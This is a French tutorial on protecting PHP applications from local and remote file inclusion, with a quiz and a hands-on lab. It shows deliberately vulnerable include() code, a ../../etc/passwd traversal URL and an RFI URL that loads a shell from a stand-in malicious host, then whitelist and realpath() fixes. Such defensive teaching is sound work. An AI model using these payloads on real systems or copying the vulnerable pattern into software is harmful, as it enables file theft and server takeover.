Protection contre LFI/RFI

Protection contre les attaques LFI/RFI

Notions théoriques

Les attaques LFI (Local File Inclusion) et RFI (Remote File Inclusion) exploitent des failles dans les applications Web pour inclure des fichiers malveillants.

remarque

Les vulnérabilités LFI/RFI sont souvent présentes dans les applications qui permettent aux utilisateurs de spécifier des fichiers à inclure sans validation stricte.

Attaque LFI (Local File Inclusion)

LFI permet à un attaquant d’inclure un fichier local du serveur dans une page Web.
Cela peut permettre :

• L'affichage du contenu de fichiers sensibles (/etc/passwd, config.php).
• L'exécution de code malveillant si le fichier inclus contient du code exécutable.
• L'accès aux logs du serveur pour récupérer des informations utiles aux attaques.

Exemple d'attaque LFI :

Si une application PHP inclut un fichier via une URL comme :

<?php
    $page = $_GET['page'];
    include("pages/" . $page);
?>

Un attaquant peut accéder à des fichiers sensibles en modifiant l’URL :

http://example.com/index.php?page=../../../../etc/passwd

Attaque RFI (Remote File Inclusion)

RFI est une variante qui permet d’inclure un fichier distant hébergé sur un autre serveur.
Cela peut permettre :

• L'exécution de scripts malveillants hébergés par l’attaquant.
• La prise de contrôle du serveur si le script injecté contient du code permettant une exécution à distance.

Exemple d'attaque RFI :

Si une application PHP inclut un fichier sans restriction :

<?php
    $page = $_GET['page'];
    include($page);
?>

Un attaquant peut injecter un script distant :

http://example.com/index.php?page=http://malicious-site.com/shell.php

Protection contre LFI/RFI

Mesures de protection :

1. Ne jamais inclure directement des fichiers basés sur une entrée utilisateur.
2. Utiliser une liste blanche des fichiers autorisés.
3. Vérifier l’extension et la présence de caractères suspects (../, http://).
4. Désactiver allow_url_include dans php.ini pour bloquer les inclusions distantes.
5. Utiliser realpath() pour s’assurer que le fichier est bien dans le dossier autorisé.

---

Exemple pratique

Il est possible de sécuriser une application PHP contre LFI/RFI en appliquant plusieurs protections.

1. Code vulnérable

Un script PHP non sécurisé permettant l’inclusion de fichiers :

<?php
    $page = $_GET['page'];
    include("pages/" . $page);
?>

Ce code est vulnérable à LFI, car un attaquant peut manipuler $_GET['page'] pour inclure des fichiers système.

2. Code sécurisé

Un script PHP sécurisé avec une liste blanche et des vérifications :

<?php
    $allowed_pages = ["home.php", "contact.php", "about.php"];
    
    if (isset($_GET['page']) && in_array($_GET['page'], $allowed_pages)) {
        include("pages/" . $_GET['page']);
    } else {
        echo "Page non autorisée.";
    }
?>

3. Explication des protections mises en place

• Liste blanche : Seuls les fichiers définis dans $allowed_pages peuvent être inclus.
• Vérification stricte : in_array($_GET['page'], $allowed_pages) empêche l’injection de fichiers arbitraires.
• Pas d’inclusion directe : L’utilisateur ne peut pas spécifier un chemin personnalisé.

---

Test de mémorisation/compréhension

Que signifie LFI dans le contexte des attaques Web ?

Local File Injection

Local File Inclusion

Linux File Inclusion

Quel est le principal danger d'une attaque LFI ?

L'affichage de fichiers sensibles

L'injection de SQL

Le blocage du site

Comment un attaquant peut-il exploiter une faille LFI ?

En modifiant l'URL pour inclure un fichier système

En envoyant un grand nombre de requêtes

En modifiant les cookies

Quelle est la différence entre LFI et RFI ?

LFI inclut un fichier local, RFI un fichier distant

LFI est plus dangereux que RFI

LFI fonctionne uniquement sur Windows

Quelle fonction PHP est dangereuse si elle est mal utilisée ?

include()

echo()

strlen()

Quel paramètre PHP doit être désactivé pour éviter les attaques RFI ?

allow_url_include

display_errors

max_execution_time

Quelle méthode permet de sécuriser l'inclusion de fichiers ?

Utiliser une liste blanche

Accepter tous les fichiers

Désactiver PHP

Quel caractère est souvent utilisé dans une attaque LFI ?

../

//

%%

Quel est le risque principal d'une attaque RFI ?

L'exécution de code malveillant à distance

La modification du CSS

Le ralentissement du serveur

Quelle fonction PHP permet de vérifier un chemin de fichier ?

realpath()

strlen()

explode()

---

TP pour réfléchir et résoudre des problèmes

Sécurisation de l'inclusion de fichiers en PHP

L'objectif est de développer un script PHP sécurisé empêchant les attaques LFI (Local File Inclusion) et RFI (Remote File Inclusion).

astuce

L'application doit permettre d'inclure des fichiers PHP en toute sécurité, tout en empêchant l'accès à des fichiers sensibles ou externes.

---

Étape 1 : Préparation de l'environnement

Avant d’écrire du code, il est essentiel de structurer correctement le projet.

Instructions :

1. Créer un dossier de projet pour organiser les fichiers :

mkdir secure-include
cd secure-include

2. Créer un fichier principal index.php qui servira de point d’entrée :

touch index.php

3. Créer un dossier pages/ pour stocker les fichiers à inclure :

mkdir pages

4. Créer trois fichiers PHP dans le dossier pages/ :

touch pages/home.php pages/contact.php pages/about.php

5. Ajouter du contenu de test dans chaque fichier :

• pages/home.php :

<h1>Bienvenue sur la page d'accueil</h1>

• pages/contact.php :

<h1>Page de contact</h1>
<p>Contactez-nous à l'adresse contact@example.com</p>

• pages/about.php :

<h1>À propos</h1>
<p>Ce site a été créé pour démontrer la sécurisation des inclusions PHP.</p>

Vérifier si :

• Le projet est bien organisé avec un fichier index.php et un dossier pages/.
• Les fichiers home.php, contact.php et about.php contiennent du contenu de test.

---

Étape 2 : Implémentation d'un script vulnérable

Pour comprendre la vulnérabilité, il est utile d'écrire un code non sécurisé.

Instructions :

1. Éditer le fichier index.php et y ajouter le code suivant :

<?php
    if (isset($_GET['page'])) {
        include("pages/" . $_GET['page']);
    } else {
        echo "<h1>Bienvenue</h1><p>Sélectionnez une page.</p>";
    }
?>

2. Démarrer un serveur PHP en exécutant :

php -S localhost:8000

3. Tester l'application en ouvrant un navigateur et en accédant aux URLs suivantes :

http://localhost:8000/index.php?page=home.php
http://localhost:8000/index.php?page=contact.php
http://localhost:8000/index.php?page=about.php

4. Tester une attaque LFI en essayant d'inclure un fichier système :

http://localhost:8000/index.php?page=../../etc/passwd

Vérifier si :

• Le script est vulnérable car il permet d'inclure des fichiers arbitraires.
• Une attaque LFI est possible en manipulant l’URL.

---

Étape 3 : Sécurisation du script

Pour empêcher les attaques LFI et RFI, il est nécessaire d'ajouter des protections.

Instructions :

1. Modifier index.php pour sécuriser l’inclusion :

<?php
    // Liste blanche des fichiers autorisés
    $allowed_pages = ["home.php", "contact.php", "about.php"];

    if (isset($_GET['page']) && in_array($_GET['page'], $allowed_pages)) {
        include("pages/" . $_GET['page']);
    } else {
        echo "<h1>Erreur</h1><p>Page non autorisée.</p>";
    }
?>

2. Tester de nouveau l'application avec les mêmes URLs :

http://localhost:8000/index.php?page=home.php
http://localhost:8000/index.php?page=contact.php
http://localhost:8000/index.php?page=about.php
http://localhost:8000/index.php?page=../../etc/passwd

Vérifier si :

• Seuls les fichiers définis dans $allowed_pages peuvent être inclus.
• L’attaque LFI est bloquée car ../../etc/passwd n'est pas dans la liste blanche.

---

Étape 4 : Ajout d'une protection supplémentaire avec realpath()

Bien que la liste blanche soit efficace, il est possible d'ajouter une vérification supplémentaire.

Instructions :

1. Modifier index.php pour utiliser realpath() :

<?php
    $allowed_pages = ["home.php", "contact.php", "about.php"];
    $base_dir = realpath("pages/");

    if (isset($_GET['page'])) {
        $requested_file = realpath("pages/" . $_GET['page']);

        if ($requested_file && strpos($requested_file, $base_dir) === 0 && in_array($_GET['page'], $allowed_pages)) {
            include($requested_file);
        } else {
            echo "<h1>Erreur</h1><p>Page non autorisée.</p>";
        }
    } else {
        echo "<h1>Bienvenue</h1><p>Sélectionnez une page.</p>";
    }
?>

2. Tester l'application avec les mêmes URLs.

Vérifier si :

• realpath() empêche toute tentative de traversée de répertoires (../).
• strpos($requested_file, $base_dir) === 0 garantit que le fichier est bien dans pages/.

---

Étape 5 : Protection contre les inclusions distantes (RFI)

Pour éviter les attaques RFI, il est important de s’assurer que PHP ne permet pas l’inclusion de fichiers distants.

Instructions :

1. Vérifier la configuration PHP en exécutant :

php -i | grep allow_url_include

2. Si allow_url_include est activé, le désactiver en modifiant php.ini :

allow_url_include = Off

3. Redémarrer le serveur PHP après modification de php.ini.

Vérifier si :

• allow_url_include est désactivé, empêchant l’inclusion de fichiers distants.
• Une attaque RFI est désormais impossible même si le code était mal sécurisé.

---

Étape 6 : Test final et validation

1. Vérifier que seules les pages autorisées peuvent être incluses.
2. S'assurer que les attaques LFI et RFI ne fonctionnent plus.
3. Analyser le code pour comprendre les protections mises en place.

Vérifier si :

• L’application est maintenant sécurisée contre les attaques LFI et RFI.
• L’inclusion de fichiers est strictement contrôlée par une liste blanche et realpath().

---

Conclusion

Ce TP permet de comprendre comment protéger une application PHP contre les attaques LFI et RFI en utilisant :

• Une liste blanche des fichiers autorisés.
• Une vérification stricte avec realpath().
• La désactivation de allow_url_include pour empêcher les inclusions distantes.

Ces techniques sont essentielles pour sécuriser les applications web et éviter les failles critiques.